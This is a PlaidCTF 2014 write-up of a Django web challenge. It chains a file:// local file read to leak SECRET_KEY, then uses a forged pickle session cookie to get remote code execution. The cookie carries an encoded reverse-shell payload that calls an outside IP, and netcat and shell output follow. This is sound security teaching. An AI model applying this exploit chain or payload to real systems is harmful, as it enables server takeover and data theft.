PlaidCTF 2014 - reeekeeeeee Writeup
In this task a web application is given. Also sources are given. The website is built using python language + django framework. In views.py file in makememe() function we can see that on line 82:
image = urllib2.urlopen(url)
we have an unfiltered input is given as parameter of urlopen(). Since we control the ‘url’ variable we can submit something like: file://path/to/the/file/i/want/to/read#http:// to read any file in the file system (the hash at the end is to pass the if check done on line 81). So after log in submit as weburl of the meme this to read the settings.py :
file:///home/reekee/mymeme/mymeme/settings.py#http://
Now, we can see an interesting thing:
SECRET_KEY='kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
This variable is used by django to build the sessionid that has been treated with pickle. So if we manage to forge a custom sessionid using that key we could have RCE exploiting the known feature of pickle.
So lets begin downloading a tool that will forge us the cookie:
https://github.com/danghvu/pwp
edit in backconn.py like this:
host = '0.0.0.0' # the server where shell will be spawned
port = 0 # the port on the server where the victim will connects to
the in exploit.py file:
- comment line 41 and add : “print s”
- uncomment line: send_django(SECRET_KEY, ADD, p)
Ok now run it:
root@kaiman:/home/nms/pwp-master$ python exploit.py 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-' http://54.82.251.203:8000/
Sending payload, check you listenner
Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMnc3RyKGV2YWwoY29tcGlsZSgiYVcxd2IzSjBJSE41Y3l3Z2MyOWphMlYwTENCdmN5d2djM1ZpY0hKdlkyVnpjd29LYUc5emRDQTlJQ2MzT1M0eU1DNHhNRGN1TVRnMUp3cHdiM0owSUQwZ01UQXdNVEFLQ25OdlkydGxkQzV6WlhSa1pXWmhkV3gwZEdsdFpXOTFkQ2cyTUNrS2MyOXJJRDBnVG05dVpRcDBjbms2Q2lBZ0lDQnpiMnNnUFNCemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTa0tJQ0FnSUhOdmF5NWpiMjV1WldOMEtDaG9iM04wTEhCdmNuUXBLUW9nSUNBZ2MyOXJMbk5sYm1Rb0p5RlFNRmR1SVNCRGIyNW5jbUYwZFd4aGRHbHZiaUFoSVZ4dUp5a2dDaUFnSUNCellYWmxJRDBnV3lCdmN5NWtkWEFvYVNrZ1ptOXlJR2tnYVc0Z2NtRnVaMlVvTUN3ektTQmRDaUFnSUNCdmN5NWtkWEF5S0hOdmF5NW1hV3hsYm04b0tTd3dLUW9nSUNBZ2IzTXVaSFZ3TWloemIyc3VabWxzWlc1dktDa3NNU2tLSUNBZ0lHOXpMbVIxY0RJb2MyOXJMbVpwYkdWdWJ5Z3BMRElwQ2lBZ0lDQnphR1ZzYkNBOUlITjFZbkJ5YjJObGMzTXVZMkZzYkNoYklpOWlhVzR2YzJnaUxDSXRhU0pkS1FvZ0lDQWdXeUJ2Y3k1a2RYQXlLSE5oZG1WYmFWMHNhU2tnWm05eUlHa2dhVzRnY21GdVoyVW9NQ3d6S1YwS0lDQWdJRnNnYjNNdVkyeHZjMlVvYzJGMlpWdHBYU2tnWm05eUlHa2dhVzRnY21GdVoyVW9NQ3d6S1YwS0lDQWdJRzl6TG1Oc2IzTmxLSE52YXk1bWFXeGxibThvS1NrS1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJSEJoYzNNSyIuZGVjb2RlKCJiYXNlNjQiKSwicSIsImV4ZWMiKSkpLnN0cmlwKCJOb25lIiknCnAxCnRwMgpScDMKLg:1WZ21r:4oNUR_iMGScnycsOGGSiVIzXl8k
This is our forged session id that we’re gonna replace on the original one but before do that
be sure to run netcat for listening on the specified port you put in backconn.py file.
If all goes fine just go on the spawned shell and take it:
$ ls
ls
give_me_the_flag.exe mymeme use_exe_to_read_me.txt
$ ls -al
ls -al
total 44
drwxr-xr-x 3 reekeeplus reekeeplus 4096 Apr 9 03:15 .
drwxr-xr-x 5 root root 4096 Apr 9 01:58 ..
---------- 1 admin admin 766 Apr 12 14:55 .bash_history
-rw-r--r-- 1 reekee reekee 220 Apr 9 01:13 .bash_logout
-rw-r--r-- 1 reekee reekee 3392 Apr 9 01:13 .bashrc
-rwsr-sr-x 1 reekeeplus reekeeplus 7564 Apr 9 02:03 give_me_the_flag.exe
drwxr-xr-x 4 reekee reekee 4096 Apr 12 18:01 mymeme
-rw-r--r-- 1 reekee reekee 675 Apr 9 01:13 .profile
-r-------- 1 reekeeplus reekeeplus 42 Apr 9 02:03 use_exe_to_read_me.txt
-rw------- 1 reekee reekee 601 Apr 9 03:15 .viminfo
$ ./give_me_the_flag.exe
./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success
$
If you want to know more about this bug visit: http://vudang.com/2013/01/python-web-framework-from-lfr-to-rce/
Razor4x, nurfed